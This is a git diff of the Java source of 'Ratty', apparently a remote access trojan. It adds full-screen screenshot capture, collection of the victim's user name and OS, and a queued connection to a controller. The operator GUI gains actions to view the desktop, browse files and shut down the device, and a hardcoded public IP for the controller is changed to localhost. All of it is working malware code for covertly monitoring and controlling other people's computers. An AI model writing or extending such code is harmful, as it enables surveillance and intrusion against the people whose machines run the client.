diff --git a/.gitignore b/.gitignore index 32858aa..a031ac2 100644 --- a/.gitignore +++ b/.gitignore @@ -10,3 +10,4 @@ # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml hs_err_pid* +/bin/ diff --git a/Ratty/src/de/sogomn/rat/ActiveClient.java b/Ratty/src/de/sogomn/rat/ActiveClient.java index dca35d0..649f488 100644 --- a/Ratty/src/de/sogomn/rat/ActiveClient.java +++ b/Ratty/src/de/sogomn/rat/ActiveClient.java @@ -1,6 +1,7 @@ package de.sogomn.rat; import java.net.Socket; +import java.util.concurrent.LinkedBlockingQueue; import de.sogomn.engine.net.TCPConnection; import de.sogomn.rat.packet.IPacket; @@ -9,50 +10,36 @@ import de.sogomn.rat.packet.PacketType; public final class ActiveClient extends TCPConnection { - private Thread thread; + private LinkedBlockingQueue packetQueue; + + private Thread sender, reader; private IClientObserver observer; public ActiveClient(final String address, final int port) { super(address, port); + + packetQueue = new LinkedBlockingQueue(); } public ActiveClient(final Socket socket) { super(socket); - } - - @Override - public void close() { - super.close(); - - if (thread != null) { - thread.interrupt(); - thread = null; - } - if (observer != null) { - observer.disconnected(this); - } + packetQueue = new LinkedBlockingQueue(); } - public void start() { - final Runnable runnable = () -> { - while (isOpen()) { - final IPacket packet = readPacket(); - - if (observer != null && packet != null) { - observer.packetReceived(this, packet); - } - } - }; - - thread = new Thread(runnable); - - thread.start(); + private IPacket nextPacket() { + try { + final IPacket packet = packetQueue.take(); + + return packet; + } catch (final InterruptedException ex) { + return null; + } } - public void sendPacket(final IPacket packet) { - final byte id = PacketType.getId(packet.getClass()); + private void sendPacket(final IPacket packet) { + final byte id = PacketType.getId(packet); if (id != 0) { writeByte(id); @@ -60,15 +47,14 @@ public final class ActiveClient extends TCPConnection { } } - public IPacket readPacket() { + private IPacket readPacket() { final byte id = readByte(); + final Class packetClass = PacketType.getClass(id); - if (id == 0) { + if (packetClass == null) { return null; } - final Class packetClass = PacketType.getClass(id); - try { final IPacket packet = packetClass.newInstance(); @@ -82,6 +68,62 @@ public final class ActiveClient extends TCPConnection { } } + @Override + public void close() { + super.close(); + + if (sender != null) { + sender.interrupt(); + sender = null; + } + + if (reader != null) { + reader.interrupt(); + reader = null; + } + + packetQueue.clear(); + + if (observer != null) { + observer.disconnected(this); + } + } + + public void start() { + final Runnable sendingRunnable = () -> { + while (isOpen()) { + final IPacket packet = nextPacket(); + + if (packet != null) { + sendPacket(packet); + } + } + }; + final Runnable readingRunnable = () -> { + while (isOpen()) { + final IPacket packet = readPacket(); + + if (observer != null && packet != null) { + observer.packetReceived(this, packet); + } + } + }; + + sender = new Thread(sendingRunnable); + reader = new Thread(readingRunnable); + + sender.start(); + reader.start(); + } + + public void addPacket(final IPacket packet) { + packetQueue.add(packet); + } + + public void removePacket(final IPacket packet) { + packetQueue.remove(packet); + } + public void setObserver(final IClientObserver observer) { this.observer = observer; } diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index f436087..1e18d3a 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -13,9 +13,10 @@ import de.sogomn.rat.server.gui.ServerGuiController; public final class Ratty { - public static final String ADDRESS = "46.59.138.220"; + public static final String ADDRESS = "localhost"; public static final int PORT = 23456; public static final boolean CLIENT = false; + public static final String VERSION = "1.0"; private Ratty() { //... diff --git a/Ratty/src/de/sogomn/rat/packet/ImagePacket.java b/Ratty/src/de/sogomn/rat/packet/ImagePacket.java index 795b64d..5665ee8 100644 --- a/Ratty/src/de/sogomn/rat/packet/ImagePacket.java +++ b/Ratty/src/de/sogomn/rat/packet/ImagePacket.java @@ -14,15 +14,23 @@ import de.sogomn.rat.ActiveClient; public final class ImagePacket implements IPacket { private BufferedImage image; + private String format; private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB); + private static final int SCREEN_WIDTH = 500; + private static final int SCREEN_HEIGHT = 500; - public ImagePacket() { - image = NO_IMAGE; + public ImagePacket(final BufferedImage image, final String format) { + this.image = image; + this.format = format; } public ImagePacket(final BufferedImage image) { - this.image = image; + this(image, ""); + } + + public ImagePacket() { + this(NO_IMAGE); } @Override @@ -30,7 +38,7 @@ public final class ImagePacket implements IPacket { final ByteArrayOutputStream out = new ByteArrayOutputStream(); try { - ImageIO.write(image, "JPG", out); + ImageIO.write(image, format, out); } catch (final IOException ex) { ex.printStackTrace(); } @@ -70,6 +78,7 @@ public final class ImagePacket implements IPacket { g.drawImage(image, 0, 0, width, height, null); }); screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); + screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); screen.show(); screen.redraw(); } diff --git a/Ratty/src/de/sogomn/rat/packet/InformationPacket.java b/Ratty/src/de/sogomn/rat/packet/InformationPacket.java new file mode 100644 index 0000000..6b633bd --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/InformationPacket.java @@ -0,0 +1,50 @@ +package de.sogomn.rat.packet; + +import de.sogomn.rat.ActiveClient; + +public final class InformationPacket implements IPacket { + + private String name, os, version; + + public InformationPacket(final String name, final String os, final String version) { + this.name = name; + this.os = os; + this.version = version; + } + + public InformationPacket() { + this("", "", ""); + } + + @Override + public void send(final ActiveClient client) { + client.writeUTF(name); + client.writeUTF(os); + client.writeUTF(version); + } + + @Override + public void receive(final ActiveClient client) { + name = client.readUTF(); + os = client.readUTF(); + version = client.readUTF(); + } + + @Override + public void execute(final ActiveClient client) { + //... + } + + public String getName() { + return name; + } + + public String getOS() { + return os; + } + + public String getVersion() { + return version; + } + +} diff --git a/Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java b/Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java index e350534..8ff6bfe 100644 --- a/Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java @@ -15,15 +15,15 @@ public final class KeyEventPacket implements IPacket { public static final byte RELEASE = 1; public static final byte TYPE = 2; - public KeyEventPacket() { - key = KeyEvent.VK_UNDEFINED; - } - public KeyEventPacket(final int key, final byte strokeType) { this.key = key; this.strokeType = strokeType; } + public KeyEventPacket() { + this(KeyEvent.VK_UNDEFINED, TYPE); + } + @Override public void send(final ActiveClient client) { client.writeInt(key); diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index 5430e2b..c1266b4 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -1,15 +1,21 @@ package de.sogomn.rat.packet; +import de.sogomn.rat.packet.request.InformationRequestPacket; +import de.sogomn.rat.packet.request.ScreenshotRequestPacket; + public enum PacketType { POPUP(1, PopupPacket.class), IMAGE(2, ImagePacket.class), KEY_EVENT(3, KeyEventPacket.class), FREE(4, FreePacket.class), - SCREENSHOT(5, ScreenshotPacket.class); + INFORMATION(5, InformationPacket.class), + + SCREENSHOT(6, ScreenshotRequestPacket.class), + INFORMATION_REQUEST(7, InformationRequestPacket.class); - private final byte id; - private final Class clazz; + public final byte id; + public final Class clazz; PacketType(final byte id, final Class clazz) { this.id = id; @@ -44,4 +50,10 @@ public enum PacketType { return 0; } + public static byte getId(final IPacket packet) { + final Class clazz = packet.getClass(); + + return getId(clazz); + } + } diff --git a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java index c94ba3c..79fb3a5 100644 --- a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java @@ -42,4 +42,11 @@ public final class PopupPacket implements IPacket { return message; } + public static PopupPacket create() { + final String input = JOptionPane.showInputDialog(null); + final PopupPacket packet = new PopupPacket(input); + + return packet; + } + } diff --git a/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java deleted file mode 100644 index df1f1a7..0000000 --- a/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java +++ /dev/null @@ -1,57 +0,0 @@ -package de.sogomn.rat.packet; - -import java.awt.AWTException; -import java.awt.Rectangle; -import java.awt.Robot; -import java.awt.image.BufferedImage; - -import de.sogomn.rat.ActiveClient; - -public final class ScreenshotPacket implements IPacket { - - private int x, y; - private int width, height; - - public ScreenshotPacket() { - //... - } - - public ScreenshotPacket(final int x, final int y, final int width, final int height) { - this.x = x; - this.y = y; - this.width = width; - this.height = height; - } - - @Override - public void send(final ActiveClient client) { - client.writeInt(x); - client.writeInt(y); - client.writeInt(width); - client.writeInt(height); - } - - @Override - public void receive(final ActiveClient client) { - x = client.readInt(); - y = client.readInt(); - width = client.readInt(); - height = client.readInt(); - } - - @Override - public void execute(final ActiveClient client) { - final Rectangle screenRect = new Rectangle(x, y, width, height); - - try { - final Robot robot = new Robot(); - final BufferedImage image = robot.createScreenCapture(screenRect); - final ImagePacket packet = new ImagePacket(image); - - client.sendPacket(packet); - } catch (final AWTException ex) { - ex.printStackTrace(); - } - } - -} diff --git a/Ratty/src/de/sogomn/rat/packet/request/InformationRequestPacket.java b/Ratty/src/de/sogomn/rat/packet/request/InformationRequestPacket.java new file mode 100644 index 0000000..44b7153 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/request/InformationRequestPacket.java @@ -0,0 +1,33 @@ +package de.sogomn.rat.packet.request; + +import de.sogomn.rat.ActiveClient; +import de.sogomn.rat.Ratty; +import de.sogomn.rat.packet.IPacket; +import de.sogomn.rat.packet.InformationPacket; + +public final class InformationRequestPacket implements IPacket { + + public InformationRequestPacket() { + //... + } + + @Override + public void send(final ActiveClient client) { + //... + } + + @Override + public void receive(final ActiveClient client) { + //... + } + + @Override + public void execute(final ActiveClient client) { + final String name = System.getProperty("user.name"); + final String os = System.getProperty("os.name"); + final InformationPacket packet = new InformationPacket(name, os, Ratty.VERSION); + + client.addPacket(packet); + } + +} diff --git a/Ratty/src/de/sogomn/rat/packet/request/ScreenshotRequestPacket.java b/Ratty/src/de/sogomn/rat/packet/request/ScreenshotRequestPacket.java new file mode 100644 index 0000000..b6b0e5a --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/request/ScreenshotRequestPacket.java @@ -0,0 +1,46 @@ +package de.sogomn.rat.packet.request; + +import java.awt.AWTException; +import java.awt.Dimension; +import java.awt.Rectangle; +import java.awt.Robot; +import java.awt.Toolkit; +import java.awt.image.BufferedImage; + +import de.sogomn.rat.ActiveClient; +import de.sogomn.rat.packet.IPacket; +import de.sogomn.rat.packet.ImagePacket; + +public final class ScreenshotRequestPacket implements IPacket { + + public ScreenshotRequestPacket() { + //... + } + + @Override + public void send(final ActiveClient client) { + //... + } + + @Override + public void receive(final ActiveClient client) { + //... + } + + @Override + public void execute(final ActiveClient client) { + final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize(); + final Rectangle screenRect = new Rectangle(screen); + + try { + final Robot robot = new Robot(); + final BufferedImage image = robot.createScreenCapture(screenRect); + final ImagePacket packet = new ImagePacket(image, "PNG"); + + client.addPacket(packet); + } catch (final AWTException ex) { + ex.printStackTrace(); + } + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index f766baf..667447c 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -32,15 +32,19 @@ public final class RattyGui { "Version" }; - public static final String POPUP = "Popup"; - public static final String SCREENSHOT = "Screenshot"; - public static final String KEY_EVENT = "Key event"; - public static final String FREE = "Free"; + public static final String POPUP = "Open popup"; + public static final String SCREENSHOT = "Take screenshot"; + public static final String DESKTOP = "View desktop"; + public static final String FILES = "Browse files"; + public static final String SHUTDOWN = "Shutdown device"; + public static final String FREE = "Free client"; public static final String[] ACTION_COMMANDS = { POPUP, SCREENSHOT, - KEY_EVENT, + DESKTOP, + FILES, + SHUTDOWN, FREE }; diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java index cdae96c..b2fbd37 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java @@ -1,15 +1,15 @@ package de.sogomn.rat.server.gui; -import java.awt.event.KeyEvent; import java.util.ArrayList; import de.sogomn.rat.ActiveClient; import de.sogomn.rat.IClientObserver; import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.IPacket; -import de.sogomn.rat.packet.KeyEventPacket; +import de.sogomn.rat.packet.InformationPacket; import de.sogomn.rat.packet.PopupPacket; -import de.sogomn.rat.packet.ScreenshotPacket; +import de.sogomn.rat.packet.request.InformationRequestPacket; +import de.sogomn.rat.packet.request.ScreenshotRequestPacket; import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.IServerObserver; @@ -51,13 +51,11 @@ public final class ServerGuiController implements IServerObserver, IClientObserv /*HARDCODED ATM*/ private IPacket getPacket(final String actionCommand) { if (actionCommand == RattyGui.POPUP) { - return new PopupPacket("Test message"); - } else if (actionCommand == RattyGui.SCREENSHOT) { - return new ScreenshotPacket(0, 0, 1000, 1000); - } else if (actionCommand == RattyGui.KEY_EVENT) { - return new KeyEventPacket(KeyEvent.VK_G, KeyEventPacket.TYPE); + return PopupPacket.create(); } else if (actionCommand == RattyGui.FREE) { return new FreePacket(); + } else if (actionCommand == RattyGui.SCREENSHOT) { + return new ScreenshotRequestPacket(); } return null; @@ -65,6 +63,17 @@ public final class ServerGuiController implements IServerObserver, IClientObserv @Override public void packetReceived(final ActiveClient client, final IPacket packet) { + if (packet instanceof InformationPacket) { + final InformationPacket information = (InformationPacket)packet; + final long id = getClient(client).id; + final String name = information.getName(); + final String address = client.getAddress(); + final String os = information.getOS(); + final String version = information.getVersion(); + + gui.addRow(id, name, address, os, version); + } + packet.execute(client); } @@ -90,19 +99,19 @@ public final class ServerGuiController implements IServerObserver, IClientObserv final IPacket packet = getPacket(actionCommand); if (packet != null) { - client.sendPacket(packet); + client.addPacket(packet); } } public void addClient(final ActiveClient client) { final long id = nextId++; final ServerClient serverClient = new ServerClient(id, client); + final InformationRequestPacket packet = new InformationRequestPacket(); client.setObserver(this); clients.add(serverClient); client.start(); - - gui.addRow(id, "Unknown", client.getAddress(), "NA", "NA"); + client.addPacket(packet); } public void removeClient(final ActiveClient client) {